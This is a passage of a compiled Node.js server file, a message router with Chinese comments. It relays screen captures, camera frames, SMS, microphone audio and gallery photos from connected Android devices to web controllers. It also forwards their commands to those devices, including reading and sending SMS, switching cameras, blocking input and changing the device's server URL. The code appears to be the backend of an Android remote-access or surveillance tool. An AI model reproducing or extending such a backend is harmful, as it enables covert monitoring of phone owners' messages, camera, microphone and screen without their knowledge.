"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.MessageRouter = void 0; const Logger_1 = __importDefault(require("../utils/Logger")); const fs_1 = __importDefault(require("fs")); const path_1 = __importDefault(require("path")); /** * 消息路由服务 - 增强版,包含内存管理 */ class MessageRouter { constructor(deviceManager, webClientManager, databaseService) { // 🔧 新增:服务端内存和数据管理 this.screenDataBuffer = new Map(); this.cameraDataBuffer = new Map(); this.smsDataBuffer = new Map(); this.microphoneAudioBuffer = new Map(); this.maxBufferSize = 10; // 每设备最多缓存10帧 this.bufferTimeout = 5000; // 5秒超时清理 this.maxDataSize = 2 * 1024 * 1024; // 2MB单帧限制,与Android端保持一致 this.lastCleanupTime = 0; this.cleanupInterval = 10000; // 10秒清理一次 // 统计信息 this.routedFrames = 0; this.droppedFrames = 0; this.totalDataSize = 0; this.routedCameraFrames = 0; this.droppedCameraFrames = 0; this.totalCameraDataSize = 0; this.routedSmsData = 0; this.droppedSmsData = 0; this.totalSmsDataSize = 0; this.routedMicrophoneAudio = 0; this.droppedMicrophoneAudio = 0; this.totalMicrophoneAudioSize = 0; this.deviceManager = deviceManager; this.webClientManager = webClientManager; this.databaseService = databaseService; this.logger = new Logger_1.default('MessageRouter'); // 🔧 启动定期清理任务 this.startPeriodicCleanup(); } /** * 🖼️ 发送本地已缓存相册图片给指定Web客户端 */ sendLocalGalleryToClient(clientId, deviceId, limit, offset = 0) { try { const imagesDir = path_1.default.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId); if (!fs_1.default.existsSync(imagesDir)) { this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`); return; } // 读取目录下文件,按时间倒序(文件名中包含时间戳: _.jpg|png) const files = fs_1.default.readdirSync(imagesDir) .filter(name => name.endsWith('.jpg') || name.endsWith('.png')) .map(name => ({ name, // 提取文件名前缀的时间戳用于排序 ts: (() => { const n = parseInt(name.split('_')[0], 10); return isNaN(n) ? 0 : n; })() })) .sort((a, b) => b.ts - a.ts) .slice(offset, limit ? offset + limit : undefined); if (files.length === 0) { this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`); return; } this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`); for (const f of files) { const url = `/assets/gallery/${deviceId}/${f.name}`; // 最低限度的元数据,前端可直接回显缩略图/原图 const payload = { deviceId, type: 'gallery_image_saved', timestamp: f.ts || Date.now(), index: 0, id: f.name, displayName: f.name, url }; this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload); } } catch (err) { this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err); } } /** * 🔧 启动定期清理任务 */ startPeriodicCleanup() { setInterval(() => { this.performPeriodicCleanup(); }, this.cleanupInterval); } /** * 🔧 定期清理过期数据 */ performPeriodicCleanup() { try { const currentTime = Date.now(); let cleanedBuffers = 0; // 清理过期的屏幕数据缓冲区 for (const [deviceId, bufferData] of this.screenDataBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.screenDataBuffer.delete(deviceId); cleanedBuffers++; } } // 清理过期的摄像头数据缓冲区 for (const [deviceId, bufferData] of this.cameraDataBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.cameraDataBuffer.delete(deviceId); cleanedBuffers++; } } // 清理过期的短信数据缓冲区 for (const [deviceId, bufferData] of this.smsDataBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.smsDataBuffer.delete(deviceId); cleanedBuffers++; } } // 清理过期的麦克风音频数据缓冲区 for (const [deviceId, bufferData] of this.microphoneAudioBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.microphoneAudioBuffer.delete(deviceId); cleanedBuffers++; } } if (cleanedBuffers > 0) { this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`); } // 内存使用统计 const memUsage = process.memoryUsage(); const memUsageMB = Math.round(memUsage.heapUsed / 1024 / 1024); // 每分钟记录一次统计 if (Math.floor(currentTime / 60000) > Math.floor(this.lastCleanupTime / 60000)) { const dropRate = this.routedFrames > 0 ? (this.droppedFrames / this.routedFrames * 100).toFixed(1) : '0'; const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0'; const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0'; const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0'; this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`); } this.lastCleanupTime = currentTime; // 🚨 内存使用过高时触发紧急清理 if (memUsageMB > 500) { // 超过500MB时清理 this.performEmergencyCleanup(); } } catch (error) { this.logger.error('❌ 定期清理失败:', error); } } /** * 🚨 紧急内存清理 */ performEmergencyCleanup() { try { this.logger.warn('🚨 触发紧急内存清理'); // 清空所有数据缓冲区 const clearedScreenBuffers = this.screenDataBuffer.size; const clearedCameraBuffers = this.cameraDataBuffer.size; const clearedSmsBuffers = this.smsDataBuffer.size; const clearedMicrophoneBuffers = this.microphoneAudioBuffer.size; this.screenDataBuffer.clear(); this.cameraDataBuffer.clear(); this.smsDataBuffer.clear(); this.microphoneAudioBuffer.clear(); // 建议垃圾回收 if (global.gc) { global.gc(); } this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`); } catch (error) { this.logger.error('❌ 紧急清理失败:', error); } } /** * 路由控制消息(从Web客户端到设备) */ routeControlMessage(fromSocketId, message) { console.log(message); try { // 验证消息来源是Web客户端 const webClient = this.webClientManager.getClientBySocketId(fromSocketId); if (!webClient) { this.logger.warn(`未知的Web客户端尝试发送控制消息: ${fromSocketId}`); return false; } // 检查Web客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) { // ✅ 降低日志级别,避免控制权切换期间的噪音 this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`); // 向客户端发送权限错误响应 this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'NO_PERMISSION', message: '无控制权限,请先申请设备控制权' }); return false; } // 获取目标设备 const device = this.deviceManager.getDevice(message.deviceId); if (!device || !this.deviceManager.isDeviceOnline(message.deviceId)) { this.logger.warn(`目标设备不在线: ${message.deviceId}`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'DEVICE_OFFLINE', message: '设备已离线或不存在' }); return false; } // 特殊处理摄像头控制消息 if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') { this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`); // 验证摄像头控制消息的数据格式 if (message.type === 'CAMERA_SWITCH' && message.data) { const cameraType = message.data.cameraType || message.data; if (cameraType !== 'front' && cameraType !== 'back') { this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_CAMERA_TYPE', message: '摄像头类型无效,应为 front 或 back' }); return false; } this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`); } } // 特殊处理SMS控制消息 if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') { this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`); // 验证SMS控制消息的数据格式 if (message.type === 'SMS_READ' && message.data) { const limit = message.data.limit; if (limit && (typeof limit !== 'number' || limit <= 0)) { this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SMS_LIMIT', message: 'SMS读取限制无效,应为正整数' }); return false; } } if (message.type === 'SMS_SEND' && message.data) { const { phoneNumber, message: smsMessage } = message.data; if (!phoneNumber || !smsMessage) { this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SMS_SEND_DATA', message: 'SMS发送数据不完整,需要phoneNumber和message' }); return false; } this.logger.info(`📱 发送SMS到: ${phoneNumber}`); } } // 特殊处理相册控制消息 if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') { this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`); // 验证相册控制消息的数据格式 if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) { const { albumId, limit, offset } = message.data; if (limit && (typeof limit !== 'number' || limit <= 0)) { this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_ALBUM_LIMIT', message: '相册读取限制无效,应为正整数' }); return false; } if (offset && (typeof offset !== 'number' || offset < 0)) { this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_ALBUM_OFFSET', message: '相册读取偏移无效,应为非负整数' }); return false; } this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`); } // 🆕 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备 if (message.type === 'GET_GALLERY') { try { const { limit, offset } = message.data || {}; const sendLimit = typeof limit === 'number' && limit > 0 ? limit : undefined; const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0; this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset); } catch (e) { this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e); } // 不转发到设备,直接返回成功 return true; } } // 特殊处理服务器地址修改消息 if (message.type === 'CHANGE_SERVER_URL') { this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`); // 验证服务器地址数据格式 if (message.data && message.data.serverUrl) { const { serverUrl } = message.data; if (typeof serverUrl !== 'string' || serverUrl.trim() === '') { this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SERVER_URL', message: '服务器地址无效,应为非空字符串' }); return false; } this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`); } else { this.logger.warn(`⚠️ 缺少服务器地址数据`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'MISSING_SERVER_URL', message: '缺少服务器地址数据' }); return false; } } // 特殊处理屏幕捕获控制消息 if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') { this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`); } // 获取设备Socket并发送消息 const deviceSocketId = this.deviceManager.getDeviceSocketId(message.deviceId); if (deviceSocketId) { // 通过Socket.IO发送到设备 const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', message); this.logger.debug(`控制消息已路由: ${message.type} -> ${message.deviceId}`); return true; } } this.logger.error(`无法找到设备 ${message.deviceId} 的Socket连接`); this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'DEVICE_DISCONNECTED', message: '设备连接已断开' }); return false; } catch (error) { this.logger.error('路由控制消息失败:', error); return false; } } /** * 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理 */ routeScreenData(fromSocketId, screenData) { try { this.routedFrames++; // this.logger.info('收到屏幕') // 广播设备锁屏状态更新给所有Web客户端 if (screenData.deviceId && this.routedFrames % 20 == 0) { this.webClientManager.broadcastToAll('device_lock_status_update', { deviceId: screenData.deviceId, isLocked: screenData.isLocked ? screenData.isLocked : false, timestamp: Date.now() }); } // 🔧 添加屏幕数据大小检查,避免过大数据导致transport error const dataSize = screenData.data instanceof Buffer ? screenData.data.length : (typeof screenData.data === 'string' ? screenData.data.length : 0); this.totalDataSize += dataSize; if (dataSize > this.maxDataSize) { // 动态限制 this.droppedFrames++; this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`); return false; } // 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(screenData.deviceId); if (!controllerId) { // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) // 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃 this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`); return true; } // 🔧 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 const existingBuffer = this.screenDataBuffer.get(screenData.deviceId); if (existingBuffer) { // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 const timeDiff = Date.now() - existingBuffer.timestamp; if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据 this.droppedFrames++; this.logger.debug(`⚠️ 跳过重复屏幕数据: 设备${screenData.deviceId}, 间隔${timeDiff}ms`); return false; } } // 🔧 更新缓冲区(用于去重和统计) this.screenDataBuffer.set(screenData.deviceId, { data: screenData, timestamp: Date.now() }); // 🧪🧪🧪 特殊检测:识别UI层次结构实验数据 if (screenData.format === 'UI_TEST' || screenData.format === 'UI_TEST') { this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`); this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`); // 继续正常处理流程 } // 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理 if (screenData.format === 'UI_HIERARCHY' || screenData.format === 'UI_HIERARCHY') { this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`); this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`); try { // 解析UI层次结构数据 const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data; this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`); // 调用UI层次结构响应处理方法 const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData); this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`); return routeResult; } catch (parseError) { this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError); return false; } } // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device) { // ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device); // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // ✅ 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端 // 因为Android端可能不会再发送注册请求(认为自己已连接) this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`); // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device); // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // ✅ 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`); // 只有在数据库中也找不到时,才使用延迟重试 setTimeout(() => { this.retryRouteScreenData(fromSocketId, screenData, 1); }, 500); return true; // 返回true避免client端重试 } } // 确保device不为undefined if (!device) { return false; } // 🔧 修复:更新设备的lastSeen时间 - 关键修复! device.lastSeen = new Date(); this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`); // 🔒 处理设备锁屏状态更新 // if (screenData.isLocked !== undefined) { // const previousLockedState = device.isLocked // device.isLocked = screenData.isLocked // // 如果锁屏状态发生变化,记录日志并广播状态更新 // if (previousLockedState !== screenData.isLocked) { // this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`) // // 广播设备锁屏状态更新给所有Web客户端 // this.webClientManager.broadcastToAll('device_lock_status_update', { // deviceId: device.id, // isLocked: screenData.isLocked, // timestamp: Date.now() // }) // } // } // 控制者已在前面检查过,这里不需要重复检查 // 🔧 添加屏幕数据传输限流和错误处理 try { // 发送屏幕数据到控制客户端 const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { deviceId: device.id, format: screenData.format, data: screenData.data, width: screenData.width, height: screenData.height, quality: screenData.quality, timestamp: screenData.timestamp, isLocked: screenData.isLocked // 包含设备锁屏状态 }); if (!success) { this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`); return false; } // 🔧 记录成功传输,用于监控 this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`); return true; } catch (emitError) { this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError); return false; } } catch (error) { this.logger.error('路由屏幕数据失败:', error); return false; } } /** * 重试路由屏幕数据 */ retryRouteScreenData(fromSocketId, screenData, retryCount) { const maxRetries = 3; try { // 再次尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device && retryCount <= maxRetries) { // 继续等待并重试 setTimeout(() => { this.retryRouteScreenData(fromSocketId, screenData, retryCount + 1); }, 1000 * retryCount); // 递增延迟:1s, 2s, 3s return; } if (!device) { // 最后尝试从数据库查询 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); // 使用数据库中的设备信息创建设备对象并注册到DeviceManager device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; // ✅ 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询 this.deviceManager.addDevice(device); // ✅ 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // ✅ 关键修复:重试恢复成功后,立即通知Web端设备在线 this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`); // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device); // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // ✅ 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`); return; } } // 设备找到后正常路由 if (device) { this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`); const controllerId = this.webClientManager.getDeviceController(device.id); if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { deviceId: device.id, format: screenData.format, data: screenData.data, width: screenData.width, height: screenData.height, quality: screenData.quality, timestamp: screenData.timestamp }); if (success) { this.logger.debug(`📺 重试路由成功: ${device.name}`); } } } } catch (error) { this.logger.error('重试路由屏幕数据失败:', error); } } /** * 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现 */ routeCameraData(fromSocketId, cameraData) { try { this.routedCameraFrames++; // 添加摄像头数据大小检查,避免过大数据导致transport error const dataSize = typeof cameraData.data === 'string' ? cameraData.data.length : 0; this.totalCameraDataSize += dataSize; if (dataSize > this.maxDataSize) { // 动态限制 this.droppedCameraFrames++; this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`); return false; } // 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId); if (!controllerId) { // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`); return true; } // 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 const existingBuffer = this.cameraDataBuffer.get(cameraData.deviceId); if (existingBuffer) { // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 const timeDiff = Date.now() - existingBuffer.timestamp; if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据 this.droppedCameraFrames++; this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`); return false; } } // 更新缓冲区(用于去重和统计) this.cameraDataBuffer.set(cameraData.deviceId, { data: cameraData, timestamp: Date.now() }); // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device) { // 立即尝试从数据库恢复设备,而不是延迟处理 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device); // 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // 设备通过摄像头数据恢复后,必须立即通知Web端 this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`); // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device); // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`); // 只有在数据库中也找不到时,才使用延迟重试 setTimeout(() => { this.retryRouteCameraData(fromSocketId, cameraData, 1); }, 500); return true; // 返回true避免client端重试 } } // 确保device不为undefined if (!device) { return false; } // 更新设备的lastSeen时间 device.lastSeen = new Date(); this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`); // 添加摄像头数据传输限流和错误处理 try { // 发送摄像头数据到控制客户端 const success = this.webClientManager.sendToClient(controllerId, 'camera_data', { deviceId: device.id, format: cameraData.format, data: cameraData.data, type: cameraData.type, timestamp: cameraData.timestamp }); if (!success) { this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`); return false; } // 记录成功传输,用于监控 this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`); return true; } catch (emitError) { this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError); return false; } } catch (error) { this.logger.error('路由摄像头数据失败:', error); return false; } } /** * 重试路由摄像头数据 */ retryRouteCameraData(fromSocketId, cameraData, retryCount) { const maxRetries = 3; try { // 再次尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device && retryCount <= maxRetries) { // 继续等待并重试 setTimeout(() => { this.retryRouteCameraData(fromSocketId, cameraData, retryCount + 1); }, 1000 * retryCount); // 递增延迟:1s, 2s, 3s return; } if (!device) { // 最后尝试从数据库查询 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); // 使用数据库中的设备信息创建设备对象并注册到DeviceManager device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; // 将恢复的设备添加到DeviceManager中,避免重复查询 this.deviceManager.addDevice(device); // 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // 重试恢复成功后,立即通知Web端设备在线 this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`); // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device); // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`); return; } } // 设备找到后正常路由 if (device) { this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`); const controllerId = this.webClientManager.getDeviceController(device.id); if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'camera_data', { deviceId: device.id, format: cameraData.format, data: cameraData.data, type: cameraData.type, timestamp: cameraData.timestamp }); if (success) { this.logger.debug(`📷 重试路由成功: ${device.name}`); 